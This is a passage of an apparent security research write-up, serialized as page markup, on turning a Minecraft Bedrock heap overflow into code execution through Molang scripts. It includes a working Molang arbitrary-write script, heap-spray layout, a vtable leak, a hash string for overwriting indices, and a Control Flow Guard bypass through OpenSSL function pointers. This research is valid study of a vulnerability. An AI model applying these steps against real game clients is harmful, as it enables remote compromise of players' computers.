",{"type":25,"tag":115,"props":155775,"children":155777},{"className":155776},[],[155778],{"type":31,"value":40222},{"type":31,"value":155780}," field (in this case, the reconstructed pointer) and writes it to ",{"type":25,"tag":115,"props":155782,"children":155784},{"className":155783},[],[155785],{"type":31,"value":155786},"variable.corrupted_var_map_ptr",{"type":31,"value":155788},", even though the type itself is only a 32-bit float.",{"type":25,"tag":20392,"props":155790,"children":155792},{"id":155791},"finding-misaligned-pointers",[155793],{"type":31,"value":155794},"Finding Misaligned Pointers",{"type":25,"tag":34,"props":155796,"children":155797},{},[155798,155800,155805,155806,155812],{"type":31,"value":155799},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":25,"tag":115,"props":155801,"children":155803},{"className":155802},[],[155804],{"type":31,"value":15451},{"type":31,"value":12493},{"type":25,"tag":115,"props":155807,"children":155809},{"className":155808},[],[155810],{"type":31,"value":155811},"ptr + 2",{"type":31,"value":155813},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":25,"tag":34,"props":155815,"children":155816},{},[155817,155822,155823,155828,155830,155835,155837,155842,155844,155849,155851,155856,155858,155864,155865,155870],{"type":25,"tag":115,"props":155818,"children":155820},{"className":155819},[],[155821],{"type":31,"value":154188},{"type":31,"value":16940},{"type":25,"tag":115,"props":155824,"children":155826},{"className":155825},[],[155827],{"type":31,"value":154211},{"type":31,"value":155829}," found inside every entity object. As noted earlier, a ",{"type":25,"tag":115,"props":155831,"children":155833},{"className":155832},[],[155834],{"type":31,"value":154042},{"type":31,"value":155836}," contains three pointers: ",{"type":25,"tag":115,"props":155838,"children":155840},{"className":155839},[],[155841],{"type":31,"value":151208},{"type":31,"value":155843}," (the start of the allocated buffer), ",{"type":25,"tag":115,"props":155845,"children":155847},{"className":155846},[],[155848],{"type":31,"value":10643},{"type":31,"value":155850}," (just past the last element) and ",{"type":25,"tag":115,"props":155852,"children":155854},{"className":155853},[],[155855],{"type":31,"value":154141},{"type":31,"value":155857}," (the end of the allocated buffer). Because the element type is ",{"type":25,"tag":115,"props":155859,"children":155861},{"className":155860},[],[155862],{"type":31,"value":155863},"uint16_t",{"type":31,"value":103381},{"type":25,"tag":115,"props":155866,"children":155868},{"className":155867},[],[155869],{"type":31,"value":10643},{"type":31,"value":155871}," pointer advances by 2 bytes each time a new element is added.",{"type":25,"tag":34,"props":155873,"children":155874},{},[155875,155877,155882,155884,155890],{"type":31,"value":155876},"We can make the ",{"type":25,"tag":115,"props":155878,"children":155880},{"className":155879},[],[155881],{"type":31,"value":10643},{"type":31,"value":155883}," pointer equal to ",{"type":25,"tag":115,"props":155885,"children":155887},{"className":155886},[],[155888],{"type":31,"value":155889},"cap - 2",{"type":31,"value":155891}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":25,"tag":191,"props":155893,"children":155895},{"code":155894},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[155896],{"type":25,"tag":115,"props":155897,"children":155898},{"__ignoreMap":7},[155899],{"type":31,"value":155894},{"type":25,"tag":20292,"props":155901,"children":155902},{},[],{"type":25,"tag":34,"props":155904,"children":155905},{},[155906,155908,155913,155915,155920,155922,155927,155929,155934,155935,155940],{"type":31,"value":155907},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":25,"tag":115,"props":155909,"children":155911},{"className":155910},[],[155912],{"type":31,"value":151208},{"type":31,"value":155914}," pointer of ",{"type":25,"tag":115,"props":155916,"children":155918},{"className":155917},[],[155919],{"type":31,"value":154012},{"type":31,"value":155921}," in the entity object above, one that would index ",{"type":25,"tag":115,"props":155923,"children":155925},{"className":155924},[],[155926],{"type":31,"value":10643},{"type":31,"value":155928}," and the final ",{"type":25,"tag":115,"props":155930,"children":155932},{"className":155931},[],[155933],{"type":31,"value":154141},{"type":31,"value":155914},{"type":25,"tag":115,"props":155936,"children":155938},{"className":155937},[],[155939],{"type":31,"value":154188},{"type":31,"value":155941}," also in the same entity object above.",{"type":25,"tag":34,"props":155943,"children":155944},{},[155945,155947,155953,155954,155960,155962,155967,155968,155973,155975,155980,155982,155987,155988,155993,155995,156000],{"type":31,"value":155946},"The corrupted variables ",{"type":25,"tag":115,"props":155948,"children":155950},{"className":155949},[],[155951],{"type":31,"value":155952},"variable.corrupted_len_ptr",{"type":31,"value":12493},{"type":25,"tag":115,"props":155955,"children":155957},{"className":155956},[],[155958],{"type":31,"value":155959},"variable.corrupted_cap_ptr",{"type":31,"value":155961}," point to ",{"type":25,"tag":115,"props":155963,"children":155965},{"className":155964},[],[155966],{"type":31,"value":10643},{"type":31,"value":12493},{"type":25,"tag":115,"props":155969,"children":155971},{"className":155970},[],[155972],{"type":31,"value":154141},{"type":31,"value":155974},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":25,"tag":115,"props":155976,"children":155978},{"className":155977},[],[155979],{"type":31,"value":155786},{"type":31,"value":155981},", points to the ",{"type":25,"tag":115,"props":155983,"children":155985},{"className":155984},[],[155986],{"type":31,"value":151208},{"type":31,"value":154993},{"type":25,"tag":115,"props":155989,"children":155991},{"className":155990},[],[155992],{"type":31,"value":154012},{"type":31,"value":155994},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":25,"tag":115,"props":155996,"children":155998},{"className":155997},[],[155999],{"type":31,"value":154012},{"type":31,"value":156001},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":25,"tag":34,"props":156003,"children":156004},{},[156005],{"type":31,"value":156006},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":25,"tag":20392,"props":156008,"children":156010},{"id":156009},"leaking-pointers",[156011],{"type":31,"value":156012},"Leaking Pointers",{"type":25,"tag":34,"props":156014,"children":156015},{},[156016,156018,156024],{"type":31,"value":156017},"In C++, an object’s first field is typically a ",{"type":25,"tag":115,"props":156019,"children":156021},{"className":156020},[],[156022],{"type":31,"value":156023},"vtable",{"type":31,"value":156025}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":25,"tag":191,"props":156027,"children":156029},{"code":156028},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[156030],{"type":25,"tag":115,"props":156031,"children":156032},{"__ignoreMap":7},[156033],{"type":31,"value":156028},{"type":25,"tag":34,"props":156035,"children":156036},{},[156037,156038,156043,156045,156050,156052,156057,156059,156064,156066,156071,156072,156077,156079,156084],{"type":31,"value":18109},{"type":25,"tag":115,"props":156039,"children":156041},{"className":156040},[],[156042],{"type":31,"value":40222},{"type":31,"value":156044}," field inside a ",{"type":25,"tag":115,"props":156046,"children":156048},{"className":156047},[],[156049],{"type":31,"value":153685},{"type":31,"value":156051}," is at offset ",{"type":25,"tag":115,"props":156053,"children":156055},{"className":156054},[],[156056],{"type":31,"value":153946},{"type":31,"value":156058},". We already control a corrupted variable, ",{"type":25,"tag":115,"props":156060,"children":156062},{"className":156061},[],[156063],{"type":31,"value":155952},{"type":31,"value":156065},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":25,"tag":115,"props":156067,"children":156069},{"className":156068},[],[156070],{"type":31,"value":10643},{"type":31,"value":154993},{"type":25,"tag":115,"props":156073,"children":156075},{"className":156074},[],[156076],{"type":31,"value":154188},{"type":31,"value":156078}," by 2 bytes, which in turn advances ",{"type":25,"tag":115,"props":156080,"children":156082},{"className":156081},[],[156083],{"type":31,"value":155952},{"type":31,"value":156085}," by 2 bytes.",{"type":25,"tag":34,"props":156087,"children":156088},{},[156089,156091,156096,156098,156104,156105,156110,156111,156116,156118,156123],{"type":31,"value":156090},"By moving ",{"type":25,"tag":115,"props":156092,"children":156094},{"className":156093},[],[156095],{"type":31,"value":10643},{"type":31,"value":156097}," so it equals ",{"type":25,"tag":115,"props":156099,"children":156101},{"className":156100},[],[156102],{"type":31,"value":156103},"cap - 0x38",{"type":31,"value":103381},{"type":25,"tag":115,"props":156106,"children":156108},{"className":156107},[],[156109],{"type":31,"value":40222},{"type":31,"value":154993},{"type":25,"tag":115,"props":156112,"children":156114},{"className":156113},[],[156115],{"type":31,"value":155952},{"type":31,"value":156117}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":25,"tag":115,"props":156119,"children":156121},{"className":156120},[],[156122],{"type":31,"value":156023},{"type":31,"value":156124}," pointer. We can then capture that pointer with:",{"type":25,"tag":191,"props":156126,"children":156128},{"code":156127},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[156129],{"type":25,"tag":115,"props":156130,"children":156131},{"__ignoreMap":7},[156132],{"type":31,"value":156127},{"type":25,"tag":34,"props":156134,"children":156135},{},[156136,156138,156143,156145,156150,156152,156157,156159,156165],{"type":31,"value":156137},"After saving the leak, we add 27 unseen variables to advance ",{"type":25,"tag":115,"props":156139,"children":156141},{"className":156140},[],[156142],{"type":31,"value":10643},{"type":31,"value":156144}," until it equals ",{"type":25,"tag":115,"props":156146,"children":156148},{"className":156147},[],[156149],{"type":31,"value":155889},{"type":31,"value":156151},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":25,"tag":115,"props":156153,"children":156155},{"className":156154},[],[156156],{"type":31,"value":156023},{"type":31,"value":156158}," address in ",{"type":25,"tag":115,"props":156160,"children":156162},{"className":156161},[],[156163],{"type":31,"value":156164},"variable.saved_vtable_pointer",{"type":31,"value":80},{"type":25,"tag":20292,"props":156167,"children":156168},{},[],{"type":25,"tag":34,"props":156170,"children":156171},{},[156172,156174,156179,156181,156187],{"type":31,"value":156173},"A Molang script that performs an arbitrary write of the value ",{"type":25,"tag":115,"props":156175,"children":156177},{"className":156176},[],[156178],{"type":31,"value":44575},{"type":31,"value":156180}," to the address ",{"type":25,"tag":115,"props":156182,"children":156184},{"className":156183},[],[156185],{"type":31,"value":156186},"vtable + 0x1000",{"type":31,"value":156188}," looks like this:",{"type":25,"tag":191,"props":156190,"children":156192},{"code":156191},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[156193],{"type":25,"tag":115,"props":156194,"children":156195},{"__ignoreMap":7},[156196],{"type":31,"value":156191},{"type":25,"tag":20392,"props":156198,"children":156200},{"id":156199},"required-heap-layout",[156201],{"type":31,"value":156202},"Required Heap Layout",{"type":25,"tag":34,"props":156204,"children":156205},{},[156206],{"type":31,"value":156207},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":25,"tag":191,"props":156209,"children":156211},{"code":156210},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[156212],{"type":25,"tag":115,"props":156213,"children":156214},{"__ignoreMap":7},[156215],{"type":31,"value":156210},{"type":25,"tag":34,"props":156217,"children":156218},{},[156219,156221,156227,156229,156234,156236,156241,156243,156248,156249,156254],{"type":31,"value":156220},"The first region (",{"type":25,"tag":115,"props":156222,"children":156224},{"className":156223},[],[156225],{"type":31,"value":156226},"Heap Region 1",{"type":31,"value":156228},") contains alternating ",{"type":25,"tag":115,"props":156230,"children":156232},{"className":156231},[],[156233],{"type":31,"value":154012},{"type":31,"value":156235},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":25,"tag":115,"props":156237,"children":156239},{"className":156238},[],[156240],{"type":31,"value":154042},{"type":31,"value":156242}," pointers of ",{"type":25,"tag":115,"props":156244,"children":156246},{"className":156245},[],[156247],{"type":31,"value":154012},{"type":31,"value":12493},{"type":25,"tag":115,"props":156250,"children":156252},{"className":156251},[],[156253],{"type":31,"value":154188},{"type":31,"value":156255}," from the entity object for our main attack.",{"type":25,"tag":34,"props":156257,"children":156258},{},[156259,156261,156267,156269,156274,156276,156281,156283,156288,156290,156295],{"type":31,"value":156260},"The second region (",{"type":25,"tag":115,"props":156262,"children":156264},{"className":156263},[],[156265],{"type":31,"value":156266},"Heap Region 2",{"type":31,"value":156268},") contains interleaved ",{"type":25,"tag":115,"props":156270,"children":156272},{"className":156271},[],[156273],{"type":31,"value":154188},{"type":31,"value":156275},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":25,"tag":115,"props":156277,"children":156279},{"className":156278},[],[156280],{"type":31,"value":156023},{"type":31,"value":156282}," pointer into ",{"type":25,"tag":115,"props":156284,"children":156286},{"className":156285},[],[156287],{"type":31,"value":155952},{"type":31,"value":156289}," during our main attack. It could be any object with a ",{"type":25,"tag":115,"props":156291,"children":156293},{"className":156292},[],[156294],{"type":31,"value":156023},{"type":31,"value":156296},", but for simplicity we use the entity object.",{"type":25,"tag":34,"props":156298,"children":156299},{},[156300,156302,156308,156310,156315],{"type":31,"value":156301},"During the attack, overwriting another variable's pointer with\n",{"type":25,"tag":115,"props":156303,"children":156305},{"className":156304},[],[156306],{"type":31,"value":156307},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":31,"value":156309}," will very likely clobber the ",{"type":25,"tag":115,"props":156311,"children":156313},{"className":156312},[],[156314],{"type":31,"value":154508},{"type":31,"value":156316}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":25,"tag":34,"props":156318,"children":156319},{},[156320],{"type":31,"value":156321},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":25,"tag":34,"props":156323,"children":156324},{},[156325],{"type":31,"value":156326},"The final exploit proceeds in three stages:",{"type":25,"tag":6944,"props":156328,"children":156329},{},[156330,156335,156340],{"type":25,"tag":6948,"props":156331,"children":156332},{},[156333],{"type":31,"value":156334},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":25,"tag":6948,"props":156336,"children":156337},{},[156338],{"type":31,"value":156339},"Perform the heap spray with signs to create the desired layout for the attack",{"type":25,"tag":6948,"props":156341,"children":156342},{},[156343],{"type":31,"value":156344},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":25,"tag":20392,"props":156346,"children":156348},{"id":156347},"initial-corruption-variant-lfh-heap-approach",[156349],{"type":31,"value":156350},"Initial Corruption Variant: LFH Heap Approach",{"type":25,"tag":34,"props":156352,"children":156353},{},[156354],{"type":31,"value":156355},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":25,"tag":34,"props":156357,"children":156358},{},[156359,156361,156366,156367,156373],{"type":31,"value":156360},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":25,"tag":115,"props":156362,"children":156364},{"className":156363},[],[156365],{"type":31,"value":154255},{"type":31,"value":7996},{"type":25,"tag":115,"props":156368,"children":156370},{"className":156369},[],[156371],{"type":31,"value":156372},"last_index",{"type":31,"value":156374}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":25,"tag":34,"props":156376,"children":156377},{},[156378,156380,156385,156386,156391,156393,156398,156400,156405,156407,156412,156414,156420,156421,156427,156428,156434],{"type":31,"value":156379},"The main attack can be arranged by making the resulting index point at the ",{"type":25,"tag":115,"props":156381,"children":156383},{"className":156382},[],[156384],{"type":31,"value":151208},{"type":31,"value":154993},{"type":25,"tag":115,"props":156387,"children":156389},{"className":156388},[],[156390],{"type":31,"value":154188},{"type":31,"value":156392},". From there, the script can overwrite three variable indices at offset ",{"type":25,"tag":115,"props":156394,"children":156396},{"className":156395},[],[156397],{"type":31,"value":153946},{"type":31,"value":156399}," within the ",{"type":25,"tag":115,"props":156401,"children":156403},{"className":156402},[],[156404],{"type":31,"value":154188},{"type":31,"value":156406}," by using the string type. This works because a Molang string's value is just a ",{"type":25,"tag":115,"props":156408,"children":156410},{"className":156409},[],[156411],{"type":31,"value":56713},{"type":31,"value":156413}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":25,"tag":115,"props":156415,"children":156417},{"className":156416},[],[156418],{"type":31,"value":156419},"0xfb",{"type":31,"value":919},{"type":25,"tag":115,"props":156422,"children":156424},{"className":156423},[],[156425],{"type":31,"value":156426},"0xfc",{"type":31,"value":12493},{"type":25,"tag":115,"props":156429,"children":156431},{"className":156430},[],[156432],{"type":31,"value":156433},"0xfd",{"type":31,"value":156435}," the script would do:",{"type":25,"tag":191,"props":156437,"children":156439},{"code":156438},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[156440],{"type":25,"tag":115,"props":156441,"children":156442},{"__ignoreMap":7},[156443],{"type":31,"value":156438},{"type":25,"tag":34,"props":156445,"children":156446},{},[156447,156449,156454,156455,156461,156463,156468],{"type":31,"value":156448},"That line would write the ",{"type":25,"tag":115,"props":156450,"children":156452},{"className":156451},[],[156453],{"type":31,"value":56713},{"type":31,"value":93257},{"type":25,"tag":115,"props":156456,"children":156458},{"className":156457},[],[156459],{"type":31,"value":156460},"0x302700fb00fc00fd",{"type":31,"value":156462}," (string's FNV-1 hash) into the allocated ",{"type":25,"tag":115,"props":156464,"children":156466},{"className":156465},[],[156467],{"type":31,"value":154188},{"type":31,"value":156469}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":25,"tag":40,"props":156471,"children":156473},{"id":156472},"hijacking-execution",[156474],{"type":31,"value":156475},"Hijacking Execution",{"type":25,"tag":34,"props":156477,"children":156478},{},[156479,156481,156486,156488,156494],{"type":31,"value":156480},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":25,"tag":115,"props":156482,"children":156484},{"className":156483},[],[156485],{"type":31,"value":156023},{"type":31,"value":156487}," and function pointers in the writable ",{"type":25,"tag":115,"props":156489,"children":156491},{"className":156490},[],[156492],{"type":31,"value":156493},".data",{"type":31,"value":156495}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":25,"tag":34,"props":156497,"children":156498},{},[156499],{"type":31,"value":156500},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":25,"tag":34,"props":156502,"children":156503},{},[156504],{"type":31,"value":156505},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":25,"tag":34,"props":156507,"children":156508},{},[156509],{"type":25,"tag":127,"props":156510,"children":156512},{"alt":51656,"src":156511},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":25,"tag":34,"props":156514,"children":156515},{},[156516,156518,156524,156526,156532,156534,156539,156541,156546,156548,156554,156556,156561,156563,156569,156571,156576],{"type":31,"value":156517},"This snippet calls a method on an object: ",{"type":25,"tag":115,"props":156519,"children":156521},{"className":156520},[],[156522],{"type":31,"value":156523},"rcx",{"type":31,"value":156525}," holds the object pointer, the first ",{"type":25,"tag":115,"props":156527,"children":156529},{"className":156528},[],[156530],{"type":31,"value":156531},"mov",{"type":31,"value":156533}," loads the object's ",{"type":25,"tag":115,"props":156535,"children":156537},{"className":156536},[],[156538],{"type":31,"value":156023},{"type":31,"value":156540}," into ",{"type":25,"tag":115,"props":156542,"children":156544},{"className":156543},[],[156545],{"type":31,"value":57853},{"type":31,"value":156547},", and the function pointer at ",{"type":25,"tag":115,"props":156549,"children":156551},{"className":156550},[],[156552],{"type":31,"value":156553},"rax + 0x8",{"type":31,"value":156555}," is read into ",{"type":25,"tag":115,"props":156557,"children":156559},{"className":156558},[],[156560],{"type":31,"value":57853},{"type":31,"value":156562},". Finally, ",{"type":25,"tag":115,"props":156564,"children":156566},{"className":156565},[],[156567],{"type":31,"value":156568},"__guard_dispatch_icall_fptr",{"type":31,"value":156570}," is called - this is the CFG dispatch function that validates ",{"type":25,"tag":115,"props":156572,"children":156574},{"className":156573},[],[156575],{"type":31,"value":57853},{"type":31,"value":156577}," as a legal call target before invoking it.",{"type":25,"tag":34,"props":156579,"children":156580},{},[156581],{"type":31,"value":156582},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":25,"tag":34,"props":156584,"children":156585},{},[156586],{"type":25,"tag":127,"props":156587,"children":156589},{"alt":51656,"src":156588},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":25,"tag":34,"props":156591,"children":156592},{},[156593,156595,156601,156603,156609],{"type":31,"value":156594},"Here, the function pointer at ",{"type":25,"tag":115,"props":156596,"children":156598},{"className":156597},[],[156599],{"type":31,"value":156600},"vtable + 0x10",{"type":31,"value":156602}," is loaded into ",{"type":25,"tag":115,"props":156604,"children":156606},{"className":156605},[],[156607],{"type":31,"value":156608},"rdx",{"type":31,"value":156610}," and then called directly.",{"type":25,"tag":34,"props":156612,"children":156613},{},[156614],{"type":31,"value":156615},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":25,"tag":34,"props":156617,"children":156618},{},[156619,156621,156626],{"type":31,"value":156620},"So the remaining task is to locate OpenSSL function or ",{"type":25,"tag":115,"props":156622,"children":156624},{"className":156623},[],[156625],{"type":31,"value":156023},{"type":31,"value":156627}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":25,"tag":20392,"props":156629,"children":156631},{"id":156630},"locating-overwrite-targets",[156632],{"type":31,"value":156633},"Locating Overwrite Targets",{"type":25,"tag":34,"props":156635,"children":156636},{},[156637,156639,156645,156646,156651,156653,156658,156660,156666],{"type":31,"value":156638},"One of the first targets we identified were the ",{"type":25,"tag":115,"props":156640,"children":156642},{"className":156641},[],[156643],{"type":31,"value":156644},"malloc",{"type":31,"value":12493},{"type":25,"tag":115,"props":156647,"children":156649},{"className":156648},[],[156650],{"type":31,"value":151256},{"type":31,"value":156652}," callbacks. These reside in the ",{"type":25,"tag":115,"props":156654,"children":156656},{"className":156655},[],[156657],{"type":31,"value":156493},{"type":31,"value":156659}," section and are invoked whenever they don’t match the expected ",{"type":25,"tag":115,"props":156661,"children":156663},{"className":156662},[],[156664],{"type":31,"value":156665},"OPENSSL_malloc/free",{"type":31,"value":133114},{"type":25,"tag":34,"props":156668,"children":156669},{},[156670],{"type":25,"tag":127,"props":156671,"children":156673},{"alt":51656,"src":156672},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":25,"tag":34,"props":156675,"children":156676},{},[156677],{"type":31,"value":156678},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":25,"tag":34,"props":156680,"children":156681},{},[156682,156684,156690,156692,156698,156700,156705],{"type":31,"value":156683},"Later, we found another promising function: ",{"type":25,"tag":115,"props":156685,"children":156687},{"className":156686},[],[156688],{"type":31,"value":156689},"ossl_ec_key_new_method_int",{"type":31,"value":156691},". This function creates and initializes an ",{"type":25,"tag":115,"props":156693,"children":156695},{"className":156694},[],[156696],{"type":31,"value":156697},"EC_KEY",{"type":31,"value":156699}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":25,"tag":115,"props":156701,"children":156703},{"className":156702},[],[156704],{"type":31,"value":156493},{"type":31,"value":156706},") containing function pointers:",{"type":25,"tag":34,"props":156708,"children":156709},{},[156710],{"type":25,"tag":127,"props":156711,"children":156713},{"alt":51656,"src":156712},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":25,"tag":34,"props":156715,"children":156716},{},[156717,156719,156725,156726,156732,156734,156739,156741,156747,156749,156754,156756,156761,156763,156768],{"type":31,"value":156718},"In the image above, ",{"type":25,"tag":115,"props":156720,"children":156722},{"className":156721},[],[156723],{"type":31,"value":156724},"ret->meth",{"type":31,"value":126578},{"type":25,"tag":115,"props":156727,"children":156729},{"className":156728},[],[156730],{"type":31,"value":156731},"default_ec_key_meth",{"type":31,"value":156733},", which points to a structure of function pointers located in ",{"type":25,"tag":115,"props":156735,"children":156737},{"className":156736},[],[156738],{"type":31,"value":156493},{"type":31,"value":156740},". It then calls ",{"type":25,"tag":115,"props":156742,"children":156744},{"className":156743},[],[156745],{"type":31,"value":156746},"ret->meth->init",{"type":31,"value":156748},", passing the ",{"type":25,"tag":115,"props":156750,"children":156752},{"className":156751},[],[156753],{"type":31,"value":19190},{"type":31,"value":156755}," pointer (",{"type":25,"tag":115,"props":156757,"children":156759},{"className":156758},[],[156760],{"type":31,"value":12491},{"type":31,"value":156762},"). This alone isn’t especially useful because ",{"type":25,"tag":115,"props":156764,"children":156766},{"className":156765},[],[156767],{"type":31,"value":12491},{"type":31,"value":156769}," is heap-allocated.",{"type":25,"tag":34,"props":156771,"children":156772},{},[156773,156775,156780],{"type":31,"value":156774},"But, if we look at how ",{"type":25,"tag":115,"props":156776,"children":156778},{"className":156777},[],[156779],{"type":31,"value":156746},{"type":31,"value":156781}," is invoked in the disassembly:",{"type":25,"tag":34,"props":156783,"children":156784},{},[156785],{"type":25,"tag":127,"props":156786,"children":156788},{"alt":51656,"src":156787},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":25,"tag":34,"props":156790,"children":156791},{},[156792,156793,156798,156800,156805,156807,156812,156814,156819,156821,156826,156828,156833,156835,156840,156842,156848],{"type":31,"value":8989},{"type":25,"tag":115,"props":156794,"children":156796},{"className":156795},[],[156797],{"type":31,"value":156746},{"type":31,"value":156799}," is not ",{"type":25,"tag":115,"props":156801,"children":156803},{"className":156802},[],[156804],{"type":31,"value":55574},{"type":31,"value":156806},", it is called while ",{"type":25,"tag":115,"props":156808,"children":156810},{"className":156809},[],[156811],{"type":31,"value":57853},{"type":31,"value":156813}," still contains the value of ",{"type":25,"tag":115,"props":156815,"children":156817},{"className":156816},[],[156818],{"type":31,"value":156724},{"type":31,"value":156820}," - that is, a pointer to the structure in ",{"type":25,"tag":115,"props":156822,"children":156824},{"className":156823},[],[156825],{"type":31,"value":156493},{"type":31,"value":156827}," that we control. This is ideal, because we can overwrite ",{"type":25,"tag":115,"props":156829,"children":156831},{"className":156830},[],[156832],{"type":31,"value":156731},{"type":31,"value":156834}," with a pointer to a region in ",{"type":25,"tag":115,"props":156836,"children":156838},{"className":156837},[],[156839],{"type":31,"value":156493},{"type":31,"value":156841}," where our ROP chain is located, and then perform a stack pivot using a 